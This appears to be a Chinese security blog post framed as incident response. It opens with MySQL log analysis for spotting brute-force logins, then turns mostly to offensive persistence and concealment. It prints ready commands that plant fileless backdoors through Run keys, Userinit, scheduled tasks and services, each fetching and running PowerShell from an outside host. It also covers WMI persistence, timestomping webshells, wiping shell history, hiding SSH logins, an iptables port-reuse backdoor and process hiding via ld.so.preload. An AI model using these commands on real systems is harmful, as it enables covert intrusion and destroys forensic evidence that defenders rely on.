2024全网最全面及最新且最为详细的网络安全技巧 十一:应急响应系列之Windows,Linux权限维持篇;(3)[含Mysql日志分析;Sql注入入侵排查及24护网行动各厂商面试精题]

  • 11.10 MySQL日志分析(2)

  • 常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。
  • 11.10.1 Mysql日志分析

  • general query log能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。
  • 1、查看log配置信息
    show variables like '%general%';
    2、开启日志
    SET GLOBAL general_log = 'On';
    3、指定日志文件路径
    #SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
  • 比如,当我访问 /test.php?id=1,此时我们得到这样的日志:
  • 190604 14:46:14       14 Connect    root@localhost on 
               14 Init DB    test
               14 Query    SELECT * FROM admin WHERE id = 1
               14 Quit  `
  • 我们按列来解析一下:
  • 第一列:Time,时间列,前面一个是日期,后面一个是小时和分钟,
    有一些不显示的原因是因为这些sql语句几乎是同时执行的,
    所以就不另外记录时间了。
    
    第二列:Id,就是show processlist出来的第一列的线程ID,
    对于长连接和一些比较耗时的sql语句,
    你可以精确找出究竟是那一条那一个线程在运行。
    
    第三列:Command,操作类型,比如Connect就是连接数据库,
    Query就是查询数据库(增删查改都显示为查询),可以特定过虑一些操作。
    第四列:Argument,详细信息,
    例如 Connect    root@localhost on 意思就是连接数据库,
    如此类推,接下面的连上数据库之后,做了什么查询的操作。
  • 11.10.2 登录成功/失败

  • 我们来做个简单的测试吧,使用我的弱口令工具来扫一下,字典设置比较小,2个用户,4个密码,共8组。
  • MySQL中的log记录是这样子:
  • Time                 Id        Command         Argument
    
    190601 22:03:20	   98 Connect	root@192.168.204.1 on 
    		   98 Connect	Access denied for user 'root'@'192.168.204.1' (using password: YES)
    		  103 Connect	mysql@192.168.204.1 on 
    		  103 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
    		  104 Connect	mysql@192.168.204.1 on 
    		  104 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
    		  100 Connect	root@192.168.204.1 on 
    		  101 Connect	root@192.168.204.1 on 
    		  101 Connect	Access denied for user 'root'@'192.168.204.1' (using password: YES)
    		   99 Connect	root@192.168.204.1 on 
    		   99 Connect	Access denied for user 'root'@'192.168.204.1' (using password: YES)
    		  105 Connect	mysql@192.168.204.1 on 
    		  105 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
    		  100 Query	set autocommit=0
    		  102 Connect	mysql@192.168.204.1 on 
    		  102 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
    		  100 Quit	`
  • 你知道在这个口令猜解过程中,哪个是成功的吗
  • 利用爆破工具,一个口令猜解成功的记录是这样子的:
  • 190601 22:03:20     100 Connect	root@192.168.204.1 on 
    	   100 Query	set autocommit=0
    	   100 Quit
  • 但是,如果你是用其他方式,可能会有一点点不一样的哦。
  • 190601 22:14:07	  106 Connect	root@192.168.204.1 on 
    		         106 Query	SET NAMES utf8
    		         106 Query	SHOW VARIABLES LIKE 'lower_case_%'
    		         106 Query	SHOW VARIABLES LIKE 'profiling'
    		         106 Query	SHOW DATABASES
  • 命令行登录:

  • 190601 22:17:25	  111 Connect	root@localhost on 
    		         111 Query	select @@version_comment limit 1
    190601 22:17:56	  111 Quit
  • 这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判断出用户是通过连接数据库的方式。
  • 另外,不管你是爆破工具、Navicat for MySQL、还是命令行,登录失败都是一样的记录
  • 登录失败的记录:

  • 102 Connect	mysql@192.168.204.1 on 
    102 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
  • 利用shell命令进行简单的分析:

  • #有哪些IP在爆破?
    grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
         27 192.168.204.1
    
    #爆破用户名字典都有哪些?
    grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr
         13 mysql
         12 root
          1 root
          1 mysql
    
  • 在日志分析中,特别需要注意一些敏感的操作行为,比如删表、备库,读写文件等。关键词:drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。
  • 敏感数据库表:

  • SELECT * from mysql.user、SELECT * from mysql.func

  • 权限维持篇

  • 11.11 Windows权限维持---后门篇

  • 关键词:Windows系统后门、权限维持
  • 在获取服务器权限后,通常会用一些后门技术来维持服务器权限,服务器一旦被植入后门,攻击者便如入无人之境。本文将对常见的window服务端自启动后门技术进行解析,知己知彼方能杜绝后门。
  • 11.11.1 注册表自启动

  • 通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。
  • 常用的注册表启动键:

  • # Run键 
    HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    
    # Winlogon\Userinit键
    HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon
    
    类似的还有很多,关键词:注册表启动键值。
  • 使用以下命令可以一键实现无文件注册表后门:不落地

  • reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.48:8080/oqGC6z7CM8KYIiv'))\"" /f
    
    
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run            // 向注册表添加一个新的启动项
    /v "Keyname"                                                          // 注册表项的名称为 "Keyname"
    /t REG_SZ                                                             // 注册表值的数据类型为字符串
    /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.48:8080/oqGC6z7CM8KYIiv'))\"" 
    // 设置启动时运行的命令:调用 PowerShell,执行从指定 URL 下载的脚本(以隐藏模式运行)
    /f                                                                    // 强制执行操作,即使项已存在也会覆盖
    
  • Logon Scripts 后门

  • 注册表路径
  • HKEY_CURRENT_USER\Environment\
  • 创建字符串键值:
  •  UserInitMprLogonScript
  • ,键值设置为bat的绝对路径
  • c:\test.bat
  • userinit后门

  • 在用户进行登陆时,winlogon运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。
  • 利用USERINIT注册表键实现无文件后门:
  • [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
     
    "Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""
  • 11.11.2 组策略设置脚本启动

  • 运行gpedit.msc进入本地组策略,通过Windows设置的“脚本(启动/关机)”项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。
  • 容易遇到的问题:脚本需全路径,如
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 
  • 11.11.3 计划任务

  • 通过window系统的任务计划程序功能实现定时启动某个任务,执行某个脚本
  • 使用以下命令可以一键实现:
  • schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.3.48:8080/T5uEhVubWqF\"\"\"))\""
    
    
    schtasks /create                 // 创建一个新的计划任务
    /sc minute                       // 设定任务的调度频率为每分钟
    /mo 1                            // 任务间隔为每分钟一次
    /tn "Security Script"            // 设置任务名称为 "Security Script"
    /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.3.48:8080/T5uEhVubWqF\"\"\"))\""
    // 指定任务要执行的命令:调用 PowerShell,执行从指定 URL 下载的脚本(以隐藏模式运行)
    
  • 容易遇到的问题:cmd命令行执行单引号会被替换成双引号故这里使用三个双引号替代
  • 计划脚本1 分钟运行一次
  • 11.11.4 服务自启动

  • 通过服务设置自启动,结合powershell实现无文件后门
  • 使用以下命令可实现:
  • sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.48:8080/T5uEhVubWqF'))\""
    
    sc description  KeyName "Just For Test"   //设置服务的描述字符串
    sc config Name start= auto                //设置这个服务为自动启动
    net start Name                            //启动服务
  • 成功创建了一个自启动服务
  • 11.11.5 WMI后门

  • 在几年之前的blackhat大会上Matt Graeber介绍了一种无文件后门就是用的WMI。这里可以利用一个工具powersploit,下面用它的Persistence模块来示范一个简单的例子。
  • Import-Module .\Persistence\Persistence.psm1
    
    //导入 Persistence.psm1 模块,该模块提供了配置持久化任务所需的函数。
    
    $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
    
    //创建一个名为 $ElevatedOptions 的变量,用于存储提升权限的持久化选项。设置为通过 WMI(Windows Management Instrumentation)机制永久性地每天在下午 3 点执行。
    
    $UserOptions = New-UserPersistenceOption -Registry -AtLogon
    
    //创建一个名为 $UserOptions 的变量,用于存储用户级的持久化选项。设置为在每次用户登录时通过注册表机制执行。
    
    Add-Persistence -FilePath .\web.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
    
    //调用 Add-Persistence 函数,将 web.ps1 脚本文件配置为具有提升权限的持久化选项(每天 3 点通过 WMI 运行)和用户级持久化选项(每次用户登录时通过注册表运行)。-Verbose 参数用于输出详细的执行过程信息。
  • 11.11.6 dll劫持

  • 如果在进程尝试加载一个DLL时没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个DLL;如果攻击者能够控制其中的某一 个目录,并且放一个恶意的DLL文件到这个目录下,这个恶意的DLL便会被进程所加载,从而造成代码执行。
  • 比较常用的如LPK.dll的劫持:
  • win7及win7以上系统增加了KnownDLLs保护,需要在注册表下添加 “lpk.dll” 才能顺利劫持: :
  • HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls
  • 11.11.7 COM劫持

  • 利用COM劫持技术,最为关键的是dll的实现以及CLSID的选择,通过修改CLSID下的注册表键值,实现对CAccPropServicesClass和MMDeviceEnumerator劫持,而系统很多正常程序启动时需要调用这两个实例。这种方法可以绕过Autoruns对启动项的检测
  • 11.11.8 远程控制

  • 远控木马是一种恶意程序,其中包括在目标计算机上用于管理控制的后门。远程访问木马通常与用户请求的程序(如游戏程序)一起,是一种看不见的下载,或作为电子邮件附件发送。一旦主机系统被攻破,入侵者可以利用它来向其他易受感染的计算机分发远程访问木马,从而建立僵尸网络。
  • 一般分为客户端和服务端,如:灰鸽子、上兴远控、梦想时代、QuasarRAT等。

  • 11.12 Linux

  • 11.12.1 前言

  • 攻击者在获取服务器权限后,会通过一些技巧来隐藏自己的踪迹和后门文件,本文介绍Linux下的几种隐藏技术。
  • 11.12.2 隐藏文件

  • Linux 下创建一个隐藏文件:
  • touch .test.txt
  • touch 命令可以创建一个文件,文件名前面加一个 点 就代表是隐藏文件
  • 一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令
  • ls -al
  • 我们可以观察在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如
  • /temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/
  • 11.12.3 隐藏文件时间戳

  • Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
  • 比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
  • 利用方法
  • touch -r index.php webshell.php
  • 或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
  • touch -t 1401021042.30 webshell.php
  • 11.12.4 隐藏权限

  • 在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
  • 这个技巧常被用在后门,变成了一些难以清除的后门文件,令很多师傅感到头疼。
  • chattr +i evil.php 锁定文件
    lsattr  evil.php   属性查看
    chattr -i evil.php 解除锁定
    rm -rf 1.evil.php  删除文件
  • 11.12.5 隐藏历史操作命令

  • 在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?
  • 技巧一:只针对你的工作关闭历史记录

  • [space]set +o history
    备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
  • 上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
  • 要重新开启历史功能,执行下面的命令:
  • [Space]set -o history
    它将环境恢复原状,也就是你完成了你的工作,执行上述命令之后的命令都会出现在历史中。
  • 技巧二:从历史记录中删除指定的命令

  • 假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:
  • history | grep "keyword"
  • 输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
  • history -d [num]
  • 这种技巧是关键记录删除,或者我们可以暴力点,比如前150行是用户的正常操作记录,150以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前150行:
  • sed -i '150,$d' .bash_history
  • 11.12.6 隐藏远程SSH登陆记录

  • 隐身登录系统,不会被w、who、last等指令检测到

  • ssh -T root@127.0.0.1 /bin/bash -i
  • 不记录ssh公钥在本地.ssh目录中

  • ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
  • 11.12.7 端口复用

  • 通过端口复用来达到隐藏端口的目的,在Linux下,如何实现端口复用呢?
  • 第一种方式:通过SSLH在同一端口上共享SSH与HTTPS

  •  #安装SSLH
     sudo apt-get install sslh
     #配置SSLH
     编辑 SSLH 配置文件:
     sudo vi /etc/default/sslh
     1、找到下列行:Run=no  将其修改为:Run=yes
     2、修改以下行以允许 SSLH 在所有可用接口上侦听端口 443
     DAEMON_OPTS="--user sslh --listen 0.0.0.0:443 --ssh 127.0.0.1:22 --ssl 127.0.0.1:443 --pidfile /var/run/sslh/sslh.pid"
  • 第二种方式:利用IPTables进行端口复用

  • # 端口复用链【在 nat 表中创建一个名为 LETMEIN 的新链(chain)。nat 表用于处理网络地址转换(NAT)相关的规则。】
    iptables -t nat -N LETMEIN
    
    
    # 端口复用规则【在 LETMEIN 链中添加一条规则,将所有进入 LETMEIN 链的 TCP 流量重定向到端口 22。端口 22 通常用于 SSH 服务。】
    iptables -t nat  -A LETMEIN -p tcp -j REDIRECT --to-port 22
    
    
    # 开启开关【在 INPUT 链中添加一条规则,匹配包含字符串 'threathuntercoming' 的 TCP 数据包。使用 recent 模块来跟踪这些数据包,并将它们标记为 letmein。这些匹配的包会被接受。】
    iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
    
    
    # 关闭开关【在 INPUT 链中添加一条规则,匹配包含字符串 'threathunterleaving' 的 TCP 数据包。使用 recent 模块来移除之前标记为 letmein 的记录。这些匹配的包也会被接受。】
    iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
    # let's do it
    iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
  • 利用方式
  • #开启复用
    echo threathuntercoming | socat - tcp:192.168.28.128:80
    #ssh使用80端口进行登录
    ssh -p 80 root@192.168.28.128
    #关闭复用
    echo threathunterleaving | socat - tcp:192.168.28.128:80
  • 具体文章详见:远程遥控 IPTables 进行端口复用
  • 11.12.8 进程隐藏

  • 管理员无法通过相关命令工具查找到你运行的进程,从而达到隐藏目的,实现进程隐藏。
  • 第一种方法:libprocesshider

  • github项目地址
  • 利用 LD_PRELOAD 来实现系统函数的劫持,实现如下
  • # 下载程序编译
    git clone https://github.com/gianlucaborello/libprocesshider.git
    cd libprocesshider/ && make
    # 移动文件到/usr/local/lib/目录下
    cp libprocesshider.so /usr/local/lib/
    # 把它加载到全局动态连接局
    echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
  • 测试:运行 evil_script.py
  • 此时发现在top 与 ps 中都无法找到 evil_script.py, cpu 使用率高,但是却找不到任何占用cpu高的程序。
  • 如何在Linux中发现隐藏的进程,

  • unhide 是一个小巧的网络取证工具,能够发现那些借助rootkit,LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在Linux,UNIX类,MS-Windows等操作系统下都可以工作
  • 下载地址:Unhide homepage - Welcome
  • # 安装
    sudo yum install unhide
    # 使用
    unhide [options] test_list
  • 使用unhide proc发现隐藏进程evil_script.py
  • 第二种方法:进程注入工具linux-inject

  • linux-inject是用于将共享对象注入Linux进程的工具
  • github项目地址: GitHub - gaffe23/linux-inject: Tool for injecting a shared object into a Linux process
  • # 下载程序编译
    git clone https://github.com/gaffe23/linux-inject.git
    cd linux-inject && make
    # 测试进程
    ./sample-target
    # 进程注入
    ./inject -n sample-target sample-library.so
  •  验证进程注入成功
  • Cymothoa——一款隐秘的后门工具

  • 它通过向目标主机活跃的进程注入恶意代码,从而获取和原进程相同的权限。该工具最大的优点就是不创建新的进程,不容易被发现
  • 下载地址:https://sourceforge.net/projects/cymothoa/files/cymothoa-1-beta/
  • # 下载解压
    wget https://jaist.dl.sourceforge.net/project/cymothoa/cymothoa-1-beta/cymothoa-1-beta.tar.gz
    tar zxvf cymothoa-1-beta.tar.gz 
    # 
    cd cymothoa-1-beta && make
    
    

 ...

评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

肾透侧视攻城狮

你的支持将是对我最大的动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值